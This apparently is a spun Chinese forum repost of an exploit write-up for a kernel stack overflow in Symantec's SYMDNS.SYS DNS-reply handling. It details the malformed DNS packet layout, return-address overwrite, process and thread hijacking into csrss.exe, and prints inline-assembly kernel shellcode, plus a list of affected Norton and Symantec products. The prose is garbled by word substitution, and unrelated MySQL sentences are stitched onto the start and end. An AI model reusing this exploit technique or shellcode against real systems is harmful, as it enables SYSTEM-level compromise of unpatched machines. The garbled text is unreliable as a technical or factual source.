|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
由MySQL用来存储数据的文件格式以已经被广泛地测试过,但是总是有外部情况可以导致数据库表被破坏:平安|防火墙
作者:SoBeIt来自:https://www.xfocus.net
这个毛病产生在SYMDNS.SYS中,当处置DNS回复时,因为未查验总域名长度,招致能够输出一超长域名招致溢出,溢动身生在RING0、IRQL=2(DISPATCH_LEVEL)、历程PID为0(idle历程)的情况下。
一个DNS报文格局以下:
"xEBx0B"//报文ID,能够随便设置,但在这个毛病里是别有效途的,前面会说到
"x80x00"//报文FLAG,15地位1暗示这是一个回复报文
"x00x01"//成绩数目
"x00x01"//回复数目
"xXXxXX"//受权资本纪录数,在这里不主要,任意设置
"xXXxXX"//分外信息资本纪录数,在这里不主要,任意设置
以上部分为DNS报文头
"xXXxXXx..."//域名,格局为每一个分段域名长度+域名内容,好比www.buaa.edu.cn就是
x03x77x77x77x04x62x75x61x61x03x65x64x75x02x63x6ex00
wwwbuaaeducn
x00暗示到了开端。处置的时分会把那长度纪录数换成0x2e,就是".",就完成了处置。
在SYMDNS.SYS中处置传进域名的函数位于SYMDNS.SYS基地点+0xa76处,这个函数在仓库里分派了充足的空间(现实上,最初SHELLCODE的实行并非在仓库中实行,而是在非分页池中实行)。传进的域名有最年夜长度限定,不克不及凌驾0x40个字节,以是我每段SHELLCODE长度都是0x3f(63)个字节。在掩盖了532个字节后,掩盖了第二个挪用的前往地点,至于为何没掩盖第一个挪用的前往地点我也不太分明。这个毛病有个特性,就是在仓库中二次处置传进的域名,招致仓库中SHELLCODE后半部分改头换面、惨绝人寰。但很侥幸的是在我们掩盖的前往地点地点的esp+0xc处保留有我们全部DNS报文(包含DNS报文头)的地点,是一个在非分页池的地点,
74816d744c816c9b816d002e816c9e34
|_____esp指向这|_______这个就长短分页池的地点
如今人人应当晓得该干啥了吧?固然在内核里没有流动的jmp[esp+0xc]、call[esp+0xc]如许的地点,但我们能够变通一下,利用诸如pop/pop/pop/ret如许的指令组合,呆板的把持权就交到我们手上了。不外这3条pop指令里最好不要带有popebp,否则会稀里糊涂的前往到一个奇异的地点。在strstr函数的最初有两个pop/pop/pop/ret的组合挺符合。如今分明开首谁人报文ID的感化了吧?xEBx0B是一个间接跳转的呆板指令,跳过一入手下手没用的DNS报文头和第一段SHELLCODE长度计数字节。FlashSKY在会刊里说要跳太长度计数字节,但0x3f对应的指令是aas,对EAX举行ascii调剂,以是在一样平常不影响EAX和标记的情形下能够把这个0x3f也算作SHELLCODE的一部分,能够省下很多字节^_^。
如今以后情况是0号历程,要把历程地点空间切到其他历程就得先取得谁人历程的EPROCESS地点。0号历程很出格,就是该历程基础不挂在一切历程的链表上,好比说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,一般情形来讲只能列举线程的WaitListHead来列举一切线程并判别历程,如许很贫苦罢了代码很长,但走投无路,在KPCR+0x55c(+55cstruct_KTHREAD*NpxThread)处保留有一个8号历程的一个线程ETHREAD地点,由ETHREAD+0x44处能够取得该线程所属EPROCESS的地点,并且8号历程是挂在除SessionProcessLinks以外的别的链表上的。下一步是切换历程地点空间,从方针历程EPROCESS+0x18处掏出该历程页目次的物理地点并将以后CR3存放器修正为该值既可(我一入手下手还修正了义务段KTSS中的CR3也为该值,了局发明这不是必需的)。然后在该历程内选择一个符合的线程来运转我们的用户态SHELLCODE,这个选择很主要,由于以后IRQL=2,任何会见缺页的地点都将招致IRQL_NOT_LESS_OR_EQUAL蓝屏毛病,由于缺页会招致页面I/O,最初会在工具上守候,这违反了不克不及在IRQL=2守候工具的划定规矩。依照一个尺度的5调剂形态模子的操纵体系,当一个线程守候太久就会招致该线程的内核仓库被换出内存,如许的线程我们是不克不及用的。以是我们必要判别ETHREAD+=0x11e(+11ebyteKernelStackResident)是不是为TRUE。这又干系到事实该选择哪一个体系历程,选择体系历程如许前往的SHELL是SYSTEM的权限,该历程必需是个活泼的历程,才干包管时时刻刻都有未被换出内存的线程。winlogon.exe是一定不可的,由于在年夜多情形下这是一个0事情集历程。在lsass.exe、smss.exe、csrss.exe这3个历程里我最初选择了csrss.exe,由于WIN32的子体系不管如何都应当闲不住吧:),现实也证实选择这个历程基础都能够找到符合线程。列举一个历程的线程能够在EPROCESS+0x50处取链表头,该链表链住了该历程的一切线程,链表地位在ETHREAD+0x1a4处:
struct_EPROCESS(sizeof=648)
+000struct_KPROCESSPcb
+050struct_LIST_ENTRYThreadListHead
+050struct_LIST_ENTRY*Flink
+054struct_LIST_ENTRY*Blink
struct_ETHREAD(sizeof=584)
+000struct_KTHREADTcb
+1a4struct_LIST_ENTRYThreadListEntry
+1a4struct_LIST_ENTRY*Flink
+1a8struct_LIST_ENTRY*Blink
大概EPROCESS+0x270处取链表头,链表地位在ETHREAD+0x240处:
struct_EPROCESS(sizeof=648)
+270struct_LIST_ENTRYThreadListHead
+270struct_LIST_ENTRY*Flink
+274struct_LIST_ENTRY*Blink
struct_ETHREAD(sizeof=584)
+240struct_LIST_ENTRYThreadListEntry
+240struct_LIST_ENTRY*Flink
+244struct_LIST_ENTRY*Blink
剩下的就是在该历程地点空间内分派假造地点,锁定,并拷贝SHELLCODE已往,顺次挪用API为:ZwOpenProcess(这里要注重,假如没改动CR3的话这个挪用会招致蓝屏,由于地点空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用moveax,APINUMBER;int2e如许的底层接口来挪用API。在挪用ZwWriteVirtualMemory之前我们得先修正该线程下主要实行的EIP,它是保留在KTRAP_FRAME+0x68处,把它修正为我们分派的地点。KTRAP_FRAME在线程仓库底-x29c的中央,ETHREAD+0x128间接指向该地点。记得将本来的EIP保留在我们的用户态SHELLCODE中,相似push0x12345678;ret如许的格局,代码就会前往12345678的地点,以是在内存中就是x68x78x56x34x12xc3,掩盖谁人12345678就好了,在实行完我们的功效代码后线程会恢复一般实行。
最初一段是一些流动的针对该毛病的特性前往,恢复一些存放器值,把ESP指向前往地点并让EBP恢复一般。这里我跳过了一切剩下的在SYMDNS.SYS的挪用,由于那样会从仓库中取值,而仓库值良多都被我们改了,以是我间接前往到tcpip!UDPDeliver处的挪用,前往这里有个优点,就是它完整不论你处置了甚么、怎样处置,它尽管检测前往值,很切合我们的请求,呵呵。
这个SHELLCODE也许只要3/4的乐成率,由于在有些情形下我们的DNS报文的地点不附加在esp+0xc处,另有偶然会碰着历程一切线程都被换出了内存,另有必定的小几率会产生NDIS逝世锁-_-偶然候RP发作时一天都没啥成绩,偶然假造机狂蓝屏。。。以是我的使用办法还不很成熟,还但愿人人一同来会商完美。有关内核溢出里最年夜的成绩估量就是缺页的成绩了,因为IRQL=2下不克不及换页,以是有些情形下极可能有些关头的中央会见不了。一些变通的办法可使用诸如workitem,这能够在IRQL=2下挪用,然后由体系事情者线程来替我们完成事情。这都是些改善假想。弄定了平安前往的办法,如今正在KO非平安前往,估量也不是很难,但就是估量SHELLCODE会年夜良多。
峰会上因为FLASHSKY年夜牛不愿泄漏源代码,以是只好本人下手,人给家足了。这段工夫因为得温习补考(上学期一不当心挂了4门#_#),以是拖了这么久。实在代码很早就写好了,就是懒得写这篇文档。今早终究下定决计花了一上午完成了这篇文档,估量不免有甚么毛病,看人人指出。
SHELLCODE由内核SHELLCODE和用户SHELLCODE构成,内核SHELLCODE卖力前往并实行用户SHELLCODE,用户SHELLCODE则是一般的功效,注重得到场穿防火墙的代码就行。上面是内核SHELLCODE代码,转成呆板码只要260多个字节,基础不算太年夜:):
__declspec(naked)JustTest()
{
__asm
{
callgo1
go1:
popeax
pusheax
movebx,0xffdff55c
movebx,dwordptr[ebx]
movebx,dwordptr[ebx+0x44]
push0x73727363
FindProcess:
movedi,esp
leaesi,dwordptr[ebx+0x1fc]
push0x4
popecx
repecmpsb
jecxzgo2
movebx,dwordptr[ebx+0xa0]
subebx,0xa0
jmpFindProcess
go2:
popedx
movedx,dwordptr[ebx+0x50]
FindThread:
movzxecx,byteptr[edx-0x86]
dececx
jecxzgo3
movedx,dwordptr[edx]
jmpFindThread
go3:
moveax,dwordptr[ebx+0x18]
movebp,esp
subesp,0x40
pushedx
movcr3,eax
push0x10
popecx
xoreax,eax
leaedi,dwordptr[ebp-0x40]
ZeroStack:
stosd
loopZeroStack
movbyteptr[ebp-0x38],0x18
leaedi,dwordptr[edx+0x3c]
pushedi
leaedi,dwordptr[ebp-0x38]
pushedi
leaedi,dwordptr[ebp-0x8]
push0x1f0fff
pushedi
moval,0x6a
leaedx,dwordptr[esp]
int0x2e
addesp,0x10
testeax,eax
jnzFailed
movbyteptr[ebp-0x3],0x2
push0x40
push0x1000
leaedi,dwordptr[ebp-0x4]
pushedi
pusheax
leaedi,dwordptr[ebp-0xc]
pushedi
pushdwordptr[ebp-0x8]
moval,0x10
leaedx,dwordptr[esp]
int0x2e
addesp,0x18
testeax,eax
jnzFailed
push0x2
leaebx,dwordptr[ebp-0x4]
pushebx
leaebx,dwordptr[ebp-0xc]
pushebx
pushdwordptr[ebp-0x8]
moval,0x59
leaedx,dwordptr[esp]
int0x2e
addesp,0x10
testeax,eax
jnzFailed
movedi,dwordptr[ebp]
popedx
movedx,dwordptr[edx-0x7c]
pushdwordptr[edx+0x68]
popdwordptr[edi+0x210]
pushdwordptr[ebp-0xc]
popdwordptr[edx+0x68]
addedi,0x11c
pusheax
push0x120
pushedi
pushdwordptr[ebp-0xc]
pushdwordptr[ebp-0x8]
moval,0xf0
leaedx,dwordptr[esp]
int0x2e
addesp,0x14
Failed:
addesp,0xec
xoreax,eax
movesi,dwordptr[esp+0x38]
movebp,esp
addebp,0x88
ret0x2c
}
}
PS:存在该毛病的SYMANTEC产物有:
*-SymantecNortonInternetSecurity2002
*-SymantecNortonInternetSecurity2003
*-SymantecNortonInternetSecurity2004
*-SymantecNortonInternetSecurityProfessional2002
*-SymantecNortonInternetSecurityProfessional2003
*-SymantecNortonInternetSecurityProfessional2004
*-SymantecNortonPersonalFirewall2002
*-SymantecNortonPersonalFirewall2003
*-SymantecNortonPersonalFirewall2004
*-SymantecClientFirewall5.01,5.1.1
*-SymantecClientSecurity1.0,1.1,2.0(SCF7.1)
*-SymantecNortonAntiSpam2004
该代码在windows2000Probuild2195sp4的假造机上测试经由过程,WINXP道理一样。
支持大型的数据库。可以处理拥有上千万条记录的大型数据库。 |
|